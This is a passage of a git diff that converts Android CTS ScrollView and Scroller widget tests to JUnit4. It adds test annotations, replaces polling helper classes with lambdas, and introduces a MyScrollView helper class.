-        scrollView.setPadding(3, 5, 7, 11);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.setPadding(3, 5, 7, 11);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChild(child, MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY),
+        mScrollViewCustomEmpty.measureChild(child,
+                MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY));
         verify(child).onMeasure(
                 eq(MeasureSpec.makeMeasureSpec(140, MeasureSpec.EXACTLY)),
                 eq(MeasureSpec.makeMeasureSpec(84, MeasureSpec.UNSPECIFIED)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithMargins() {
         MyView child = spy(new MyView(mActivity));
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChildWithMargins(child,
+        mScrollViewCustomEmpty.measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY), 20,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 15);
         verify(child).onMeasure(
@@ -393,13 +405,14 @@
                 eq(MeasureSpec.makeMeasureSpec(85, MeasureSpec.UNSPECIFIED)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithMarginsAndPadding() {
         MyView child = spy(new MyView(mActivity));
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.setPadding(3, 5, 7, 11);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.setPadding(3, 5, 7, 11);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChildWithMargins(child,
+        mScrollViewCustomEmpty.measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY), 20,
                 MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY), 15);
         verify(child).onMeasure(
@@ -407,12 +420,13 @@
                 eq(MeasureSpec.makeMeasureSpec(69, MeasureSpec.UNSPECIFIED)));
     }
 
+    @UiThreadTest
+    @Test
     public void testMeasureSpecsWithMarginsAndNoHintWidth() {
         MyView child = spy(new MyView(mActivity));
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.addView(child);
+        mScrollViewCustomEmpty.addView(child);
 
-        scrollView.measureChildWithMargins(child,
+        mScrollViewCustomEmpty.measureChildWithMargins(child,
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY), 20,
                 MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED), 15);
         verify(child).onMeasure(
@@ -420,47 +434,52 @@
                 eq(MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED)));
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewport() {
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.setFillViewport(true);
+        mScrollViewRegular.setFillViewport(true);
 
         MyView child = new MyView(mActivity);
         child.setLayoutParams(new ViewGroup.LayoutParams(100, 100));
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(
+                MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
         assertEquals(150, child.getMeasuredHeight());
         assertEquals(100, child.getMeasuredWidth());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(0, child.getTop());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithScrollViewPadding() {
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.setFillViewport(true);
-        scrollView.setPadding(3, 10, 5, 7);
+        mScrollViewRegular.setFillViewport(true);
+        mScrollViewRegular.setPadding(3, 10, 5, 7);
 
         MyView child = new MyView(mActivity);
         child.setLayoutParams(new ViewGroup.LayoutParams(10,10));
         child.setDesiredHeight(30);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(
+                MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
         assertEquals(133, child.getMeasuredHeight());
         assertEquals(10, child.getMeasuredWidth());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(10, child.getTop());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithChildMargins() {
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.setFillViewport(true);
+        mScrollViewRegular.setFillViewport(true);
 
         MyView child = new MyView(mActivity);
         FrameLayout.LayoutParams lp = new FrameLayout.LayoutParams(10, 10);
@@ -471,40 +490,42 @@
         child.setDesiredHeight(30);
         child.setLayoutParams(lp);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
         assertEquals(133, child.getMeasuredHeight());
         assertEquals(10, child.getMeasuredWidth());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(10, child.getTop());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithScrollViewPaddingAlreadyFills() {
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.setFillViewport(true);
-        scrollView.setPadding(3, 10, 5, 7);
+        mScrollViewRegular.setFillViewport(true);
+        mScrollViewRegular.setPadding(3, 10, 5, 7);
 
         MyView child = new MyView(mActivity);
         child.setDesiredHeight(175);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
 
         assertEquals(92, child.getMeasuredWidth());
         assertEquals(175, child.getMeasuredHeight());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(10, child.getTop());
     }
 
+    @UiThreadTest
+    @Test
     public void testFillViewportWithChildMarginsAlreadyFills() {
-        MyScrollView scrollView = new MyScrollView(mActivity);
-        scrollView.setFillViewport(true);
+        mScrollViewRegular.setFillViewport(true);
         MyView child = new MyView(mActivity);
         FrameLayout.LayoutParams lp = new FrameLayout.LayoutParams(
                 ViewGroup.LayoutParams.MATCH_PARENT,
@@ -517,155 +538,155 @@
         child.setLayoutParams(lp);
         child.setDesiredHeight(175);
 
-        scrollView.addView(child);
-        scrollView.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
+        mScrollViewRegular.addView(child);
+        mScrollViewRegular.measure(MeasureSpec.makeMeasureSpec(100, MeasureSpec.EXACTLY),
                 MeasureSpec.makeMeasureSpec(150, MeasureSpec.EXACTLY));
 
         assertEquals(92, child.getMeasuredWidth());
         assertEquals(175, child.getMeasuredHeight());
 
-        scrollView.layout(0, 0, 100, 150);
+        mScrollViewRegular.layout(0, 0, 100, 150);
         assertEquals(10, child.getTop());
     }
 
     @UiThreadTest
+    @Test
     public void testPageScroll() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertEquals(0, mScrollView.getScrollY());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        assertTrue(mScrollView.pageScroll(View.FOCUS_DOWN));
-        assertEquals(mPageHeight, mScrollView.getScrollY(), TOLERANCE);
+        assertTrue(mScrollViewCustom.pageScroll(View.FOCUS_DOWN));
+        assertEquals(mPageHeight, mScrollViewCustom.getScrollY(), TOLERANCE);
 
-        assertTrue(mScrollView.pageScroll(View.FOCUS_DOWN));
-        assertEquals(mPageHeight * 2, mScrollView.getScrollY(), TOLERANCE);
+        assertTrue(mScrollViewCustom.pageScroll(View.FOCUS_DOWN));
+        assertEquals(mPageHeight * 2, mScrollViewCustom.getScrollY(), TOLERANCE);
 
-        mScrollView.scrollTo(mPageWidth, mScrollBottom);
-        assertFalse(mScrollView.pageScroll(View.FOCUS_DOWN));
-        assertEquals(mScrollBottom, mScrollView.getScrollY(), TOLERANCE);
+        mScrollViewCustom.scrollTo(mPageWidth, mScrollBottom);
+        assertFalse(mScrollViewCustom.pageScroll(View.FOCUS_DOWN));
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY(), TOLERANCE);
 
-        assertTrue(mScrollView.pageScroll(View.FOCUS_UP));
-        assertEquals(mScrollBottom - mPageHeight, mScrollView.getScrollY(), TOLERANCE);
+        assertTrue(mScrollViewCustom.pageScroll(View.FOCUS_UP));
+        assertEquals(mScrollBottom - mPageHeight, mScrollViewCustom.getScrollY(), TOLERANCE);
 
-        assertTrue(mScrollView.pageScroll(View.FOCUS_UP));
-        assertEquals(mScrollBottom -mPageHeight * 2, mScrollView.getScrollY(), TOLERANCE);
+        assertTrue(mScrollViewCustom.pageScroll(View.FOCUS_UP));
+        assertEquals(mScrollBottom -mPageHeight * 2, mScrollViewCustom.getScrollY(), TOLERANCE);
 
-        mScrollView.scrollTo(mPageWidth, 0);
-        assertFalse(mScrollView.pageScroll(View.FOCUS_UP));
-        assertEquals(0, mScrollView.getScrollY());
+        mScrollViewCustom.scrollTo(mPageWidth, 0);
+        assertFalse(mScrollViewCustom.pageScroll(View.FOCUS_UP));
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
     @UiThreadTest
+    @Test
     public void testFullScroll() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertEquals(0, mScrollView.getScrollY());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        assertTrue(mScrollView.fullScroll(View.FOCUS_DOWN));
-        assertEquals(mScrollBottom, mScrollView.getScrollY());
+        assertTrue(mScrollViewCustom.fullScroll(View.FOCUS_DOWN));
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY());
 
-        assertFalse(mScrollView.fullScroll(View.FOCUS_DOWN));
-        assertEquals(mScrollBottom, mScrollView.getScrollY());
+        assertFalse(mScrollViewCustom.fullScroll(View.FOCUS_DOWN));
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY());
 
-        assertTrue(mScrollView.fullScroll(View.FOCUS_UP));
-        assertEquals(0, mScrollView.getScrollY());
+        assertTrue(mScrollViewCustom.fullScroll(View.FOCUS_UP));
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        assertFalse(mScrollView.fullScroll(View.FOCUS_UP));
-        assertEquals(0, mScrollView.getScrollY());
+        assertFalse(mScrollViewCustom.fullScroll(View.FOCUS_UP));
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
     @UiThreadTest
+    @Test
     public void testArrowScroll() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        assertEquals(0, mScrollView.getScrollY());
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        int y = mScrollView.getScrollY();
+        int y = mScrollViewCustom.getScrollY();
         while (mScrollBottom != y) {
-            assertTrue(mScrollView.arrowScroll(View.FOCUS_DOWN));
-            assertTrue(y <= mScrollView.getScrollY());
-            y = mScrollView.getScrollY();
+            assertTrue(mScrollViewCustom.arrowScroll(View.FOCUS_DOWN));
+            assertTrue(y <= mScrollViewCustom.getScrollY());
+            y = mScrollViewCustom.getScrollY();
         }
 
-        assertFalse(mScrollView.arrowScroll(View.FOCUS_DOWN));
-        assertEquals(mScrollBottom, mScrollView.getScrollY());
+        assertFalse(mScrollViewCustom.arrowScroll(View.FOCUS_DOWN));
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY());
 
-        y = mScrollView.getScrollY();
+        y = mScrollViewCustom.getScrollY();
         while (0 != y) {
-            assertTrue(mScrollView.arrowScroll(View.FOCUS_UP));
-            assertTrue(y >= mScrollView.getScrollY());
-            y = mScrollView.getScrollY();
+            assertTrue(mScrollViewCustom.arrowScroll(View.FOCUS_UP));
+            assertTrue(y >= mScrollViewCustom.getScrollY());
+            y = mScrollViewCustom.getScrollY();
         }
 
-        assertFalse(mScrollView.arrowScroll(View.FOCUS_UP));
-        assertEquals(0, mScrollView.getScrollY());
+        assertFalse(mScrollViewCustom.arrowScroll(View.FOCUS_UP));
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
+    @Test
     public void testSmoothScrollBy() throws Throwable {
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollBy(mScrollRight, mScrollBottom);
-            }
-        });
+        mActivityRule.runOnUiThread(
+                () -> mScrollViewCustom.smoothScrollBy(mScrollRight, mScrollBottom));
         // smoothScrollBy doesn't scroll in X
         pollingCheckSmoothScrolling(0, 0, 0, mScrollBottom);
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(mScrollBottom, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollBy(-mScrollRight, -mScrollBottom);
-            }
-        });
+        mActivityRule.runOnUiThread(
+                () -> mScrollViewCustom.smoothScrollBy(-mScrollRight, -mScrollBottom));
         pollingCheckSmoothScrolling(mScrollRight, 0, mScrollBottom, 0);
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
     }
 
+    @Test
     public void testSmoothScrollTo() throws Throwable {
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollTo(mScrollRight, mScrollBottom);
-            }
-        });
+        mActivityRule.runOnUiThread(
+                () -> mScrollViewCustom.smoothScrollTo(mScrollRight, mScrollBottom));
         // smoothScrollTo doesn't scroll in X
         pollingCheckSmoothScrolling(0, 0, 0, mScrollBottom);
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(mScrollBottom, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.smoothScrollTo(mPageWidth, mPageHeight);
-            }
-        });
+        mActivityRule.runOnUiThread(
+                () -> mScrollViewCustom.smoothScrollTo(mPageWidth, mPageHeight));
         pollingCheckSmoothScrolling(0, 0, mScrollBottom, mPageHeight);
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(mPageHeight, mScrollView.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(mPageHeight, mScrollViewCustom.getScrollY());
     }
 
+    @UiThreadTest
+    @Test
     public void testComputeScrollDeltaToGetChildRectOnScreen() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        int edge = mScrollView.getVerticalFadingEdgeLength();
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        int edge = mScrollViewCustom.getVerticalFadingEdgeLength();
 
         // Rect's height is smaller than scroll view
         Rect rect = new Rect(0, 0, 0, 0);
-        assertEquals(0, mScrollView.computeScrollDeltaToGetChildRectOnScreen(rect));
+        assertEquals(0,
+                ((MyScrollView) mScrollViewCustom).computeScrollDeltaToGetChildRectOnScreen(rect));
 
         rect = new Rect(0, edge, 0, mPageHeight);
-        assertEquals(0, mScrollView.computeScrollDeltaToGetChildRectOnScreen(rect));
+        assertEquals(0,
+                ((MyScrollView) mScrollViewCustom).computeScrollDeltaToGetChildRectOnScreen(rect));
 
-        mScrollView.scrollTo(0, 0);
+        mScrollViewCustom.scrollTo(0, 0);
         rect = new Rect(0, edge + 1, 0, mPageHeight);
-        assertEquals(edge, mScrollView.computeScrollDeltaToGetChildRectOnScreen(rect));
+        assertEquals(edge,
+                ((MyScrollView) mScrollViewCustom).computeScrollDeltaToGetChildRectOnScreen(rect));
     }
 
+    @UiThreadTest
+    @Test
     public void testComputeVerticalScrollRange() {
-        assertTrue(mScrollView.getChildCount() > 0);
+        assertTrue(mScrollViewCustom.getChildCount() > 0);
         assertEquals(mItemHeight * ITEM_COUNT,
-                mScrollView.computeVerticalScrollRange(), TOLERANCE);
+                ((MyScrollView) mScrollViewCustom).computeVerticalScrollRange(), TOLERANCE);
 
         MyScrollView myScrollView = new MyScrollView(mActivity);
         assertEquals(0, myScrollView.getChildCount());
@@ -673,145 +694,110 @@
     }
 
     @UiThreadTest
+    @Test
     public void testRequestChildFocus() {
-        mScrollView.setSmoothScrollingEnabled(false);
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
 
-        View firstChild = mScrollView.findViewById(R.id.first_child);
-        View lastChild = mScrollView.findViewById(R.id.last_child);
+        View firstChild = mScrollViewCustom.findViewById(R.id.first_child);
+        View lastChild = mScrollViewCustom.findViewById(R.id.last_child);
         firstChild.requestFocus();
 
-        int scrollY = mScrollView.getScrollY();
-        mScrollView.requestChildFocus(lastChild, lastChild);
+        int scrollY = mScrollViewCustom.getScrollY();
+        mScrollViewCustom.requestChildFocus(lastChild, lastChild);
         // check scrolling to the child which wants focus
-        assertTrue(mScrollView.getScrollY() > scrollY);
+        assertTrue(mScrollViewCustom.getScrollY() > scrollY);
 
-        scrollY = mScrollView.getScrollY();
-        mScrollView.requestChildFocus(firstChild, firstChild);
+        scrollY = mScrollViewCustom.getScrollY();
+        mScrollViewCustom.requestChildFocus(firstChild, firstChild);
         // check scrolling to the child which wants focus
-        assertTrue(mScrollView.getScrollY() < scrollY);
+        assertTrue(mScrollViewCustom.getScrollY() < scrollY);
     }
 
     @UiThreadTest
+    @Test
     public void testRequestChildRectangleOnScreen() {
-        mScrollView.setSmoothScrollingEnabled(false);
-        mScrollView.setVerticalFadingEdgeEnabled(true);
-        int edge = mScrollView.getVerticalFadingEdgeLength();
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
+        mScrollViewCustom.setVerticalFadingEdgeEnabled(true);
+        int edge = mScrollViewCustom.getVerticalFadingEdgeLength();
 
-        View child = mScrollView.findViewById(R.id.first_child);
-        int orgRectSize = (int)(10 * getActivity().getResources().getDisplayMetrics().density);
+        View child = mScrollViewCustom.findViewById(R.id.first_child);
+        int orgRectSize = (int)(10 * mActivity.getResources().getDisplayMetrics().density);
         final Rect originalRect = new Rect(0, 0, orgRectSize, orgRectSize);
         final Rect newRect = new Rect(mItemWidth - orgRectSize, mItemHeight - orgRectSize,
                 mItemWidth, mItemHeight);
 
-        assertFalse(mScrollView.requestChildRectangleOnScreen(child, originalRect, true));
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(0, mScrollView.getScrollY());
+        assertFalse(mScrollViewCustom.requestChildRectangleOnScreen(child, originalRect, true));
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
-        assertTrue(mScrollView.requestChildRectangleOnScreen(child, newRect, true));
-        assertEquals(0, mScrollView.getScrollX());
-        assertEquals(edge, mScrollView.getScrollY());
+        assertTrue(mScrollViewCustom.requestChildRectangleOnScreen(child, newRect, true));
+        assertEquals(0, mScrollViewCustom.getScrollX());
+        assertEquals(edge, mScrollViewCustom.getScrollY());
     }
 
     @UiThreadTest
+    @Test
     public void testRequestLayout() {
-        mScrollView.requestLayout();
+        mScrollViewCustom.requestLayout();
 
-        assertTrue(mScrollView.isLayoutRequested());
+        assertTrue(mScrollViewCustom.isLayoutRequested());
     }
 
+    @Test
     public void testFling() throws Throwable {
-        mScrollView.setSmoothScrollingEnabled(true);
-        assertEquals(0, mScrollView.getScrollY());
+        mScrollViewCustom.setSmoothScrollingEnabled(true);
+        assertEquals(0, mScrollViewCustom.getScrollY());
 
         // fling towards bottom
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fling(2000);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fling(2000));
         pollingCheckFling(0, true);
 
-        final int currentY = mScrollView.getScrollY();
+        final int currentY = mScrollViewCustom.getScrollY();
         // fling towards top
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mScrollView.fling(-2000);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mScrollViewCustom.fling(-2000));
         pollingCheckFling(currentY, false);
     }
 
     @UiThreadTest
+    @Test
     public void testScrollTo() {
-        mScrollView.setSmoothScrollingEnabled(false);
+        mScrollViewCustom.setSmoothScrollingEnabled(false);
 
-        mScrollView.scrollTo(10, 10);
-        assertEquals(10, mScrollView.getScrollY());
-        assertEquals(10, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(10, 10);
+        assertEquals(10, mScrollViewCustom.getScrollY());
+        assertEquals(10, mScrollViewCustom.getScrollX());
 
-        mScrollView.scrollTo(mPageWidth, mPageHeight);
-        assertEquals(mPageHeight, mScrollView.getScrollY());
-        assertEquals(mPageWidth, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(mPageWidth, mPageHeight);
+        assertEquals(mPageHeight, mScrollViewCustom.getScrollY());
+        assertEquals(mPageWidth, mScrollViewCustom.getScrollX());
 
-        mScrollView.scrollTo(mScrollRight, mScrollBottom);
-        assertEquals(mScrollBottom, mScrollView.getScrollY());
-        assertEquals(mScrollRight, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(mScrollRight, mScrollBottom);
+        assertEquals(mScrollBottom, mScrollViewCustom.getScrollY());
+        assertEquals(mScrollRight, mScrollViewCustom.getScrollX());
 
         // reach the top and left
-        mScrollView.scrollTo(-10, -10);
-        assertEquals(0, mScrollView.getScrollY());
-        assertEquals(0, mScrollView.getScrollX());
+        mScrollViewCustom.scrollTo(-10, -10);
+        assertEquals(0, mScrollViewCustom.getScrollY());
+        assertEquals(0, mScrollViewCustom.getScrollX());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetVerticalFadingEdgeStrengths() {
-        assertTrue(mScrollView.getChildCount() > 0);
-        assertTrue(mScrollView.getTopFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getTopFadingEdgeStrength() >= 0.0f);
-        assertTrue(mScrollView.getBottomFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getBottomFadingEdgeStrength() >= 0.0f);
+        MyScrollView myScrollViewCustom = (MyScrollView) mScrollViewCustom;
+
+        assertTrue(myScrollViewCustom.getChildCount() > 0);
+        assertTrue(myScrollViewCustom.getTopFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollViewCustom.getTopFadingEdgeStrength() >= 0.0f);
+        assertTrue(myScrollViewCustom.getBottomFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollViewCustom.getBottomFadingEdgeStrength() >= 0.0f);
 
         MyScrollView myScrollView = new MyScrollView(mActivity);
         assertEquals(0, myScrollView.getChildCount());
-        assertTrue(mScrollView.getTopFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getTopFadingEdgeStrength() >= 0.0f);
-        assertTrue(mScrollView.getBottomFadingEdgeStrength() <= 1.0f);
-        assertTrue(mScrollView.getBottomFadingEdgeStrength() >= 0.0f);
-    }
-
-    public void testOnLayout() {
-        // onLayout() is implementation details, do NOT test
-    }
-
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
-    public void testExecuteKeyEvent() {
-        // executeKeyEvent() is implementation details, do NOT test
-    }
-
-    public void testOnRequestFocusInDescendants() {
-        // onRequestFocusInDescendants() is implementation details, do NOT test
-    }
-
-    public void testOnSizeChanged() {
-        // onSizeChanged() is implementation details, do NOT test
-    }
-
-    public void testDispatchKeyEvent() {
-        // dispatchKeyEvent() is implementation details, do NOT test
-    }
-
-    public void testOnInterceptTouchEvent() {
-        // onInterceptTouchEvent() is implementation details, do NOT test
-    }
-
-    public void testOnTouchEvent() {
-        // onTouchEvent() is implementation details, do NOT test
-    }
-
-    public void testComputeScroll() {
-        // computeScroll() is implementation details, do NOT test
+        assertTrue(myScrollView.getTopFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollView.getTopFadingEdgeStrength() >= 0.0f);
+        assertTrue(myScrollView.getBottomFadingEdgeStrength() <= 1.0f);
+        assertTrue(myScrollView.getBottomFadingEdgeStrength() >= 0.0f);
     }
 
     private boolean isInRange(int current, int from, int to) {
@@ -829,55 +815,35 @@
         }
 
         if (fromY != toY) {
-            new PollingCheck() {
-                @Override
-                protected boolean check() {
-                    return isInRange(mScrollView.getScrollY(), fromY, toY);
-                }
-            }.run();
+            PollingCheck.waitFor(() -> isInRange(mScrollViewCustom.getScrollY(), fromY, toY));
         }
 
         if (fromX != toX) {
-            new PollingCheck() {
-                @Override
-                protected boolean check() {
-                    return isInRange(mScrollView.getScrollX(), fromX, toX);
-                }
-            }.run();
+            PollingCheck.waitFor(() -> isInRange(mScrollViewCustom.getScrollX(), fromX, toX));
         }
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return toX == mScrollView.getScrollX() && toY == mScrollView.getScrollY();
-            }
-        }.run();
+        PollingCheck.waitFor(
+                () -> toX == mScrollViewCustom.getScrollX()
+                        && toY == mScrollViewCustom.getScrollY());
     }
 
     private void pollingCheckFling(final int startPosition, final boolean movingDown) {
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                if (movingDown) {
-                    return mScrollView.getScrollY() > startPosition;
-                }
-                return mScrollView.getScrollY() < startPosition;
+        PollingCheck.waitFor(() -> {
+            if (movingDown) {
+                return mScrollViewCustom.getScrollY() > startPosition;
             }
-        };
+            return mScrollViewCustom.getScrollY() < startPosition;
+        });
 
-        new PollingCheck() {
-            private int mPreviousScrollY = mScrollView.getScrollY();
-
-            @Override
-            protected boolean check() {
-                if (mScrollView.getScrollY() == mPreviousScrollY) {
-                    return true;
-                } else {
-                    mPreviousScrollY = mScrollView.getScrollY();
-                    return false;
-                }
+        final int[] previousScrollY = new int[] { mScrollViewCustom.getScrollY() };
+        PollingCheck.waitFor(() -> {
+            if (mScrollViewCustom.getScrollY() == previousScrollY[0]) {
+                return true;
+            } else {
+                previousScrollY[0] = mScrollViewCustom.getScrollY();
+                return false;
             }
-        }.run();
+        });
     }
 
     public static class MyView extends View {
@@ -907,4 +873,50 @@
             }
         }
     }
+
+    public static class MyScrollView extends ScrollView {
+        public MyScrollView(Context context) {
+            super(context);
+        }
+
+        public MyScrollView(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
+        public MyScrollView(Context context, AttributeSet attrs, int defStyle) {
+            super(context, attrs, defStyle);
+        }
+
+        @Override
+        protected int computeScrollDeltaToGetChildRectOnScreen(Rect rect) {
+            return super.computeScrollDeltaToGetChildRectOnScreen(rect);
+        }
+
+        @Override
+        protected int computeVerticalScrollRange() {
+            return super.computeVerticalScrollRange();
+        }
+
+        @Override
+        protected float getBottomFadingEdgeStrength() {
+            return super.getBottomFadingEdgeStrength();
+        }
+
+        @Override
+        protected float getTopFadingEdgeStrength() {
+            return super.getTopFadingEdgeStrength();
+        }
+
+        @Override
+        protected void measureChild(View c, int pWidthMeasureSpec, int pHeightMeasureSpec) {
+            super.measureChild(c, pWidthMeasureSpec, pHeightMeasureSpec);
+        }
+
+        @Override
+        protected void measureChildWithMargins(View child, int parentWidthMeasureSpec,
+                int widthUsed, int parentHeightMeasureSpec, int heightUsed) {
+            super.measureChildWithMargins(child, parentWidthMeasureSpec, widthUsed,
+                    parentHeightMeasureSpec, heightUsed);
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollerTest.java b/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
index e92e721..e9d98ae 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
@@ -16,33 +16,47 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.test.InstrumentationTestCase;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.LinearInterpolator;
 import android.widget.Scroller;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link Scroller}.
  */
-public class ScrollerTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ScrollerTest {
     private Scroller mScroller;
 
     private Context mTargetContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTargetContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mTargetContext = InstrumentationRegistry.getTargetContext();
         mScroller = new Scroller(mTargetContext);
     }
 
+    @Test
     public void testConstructor() {
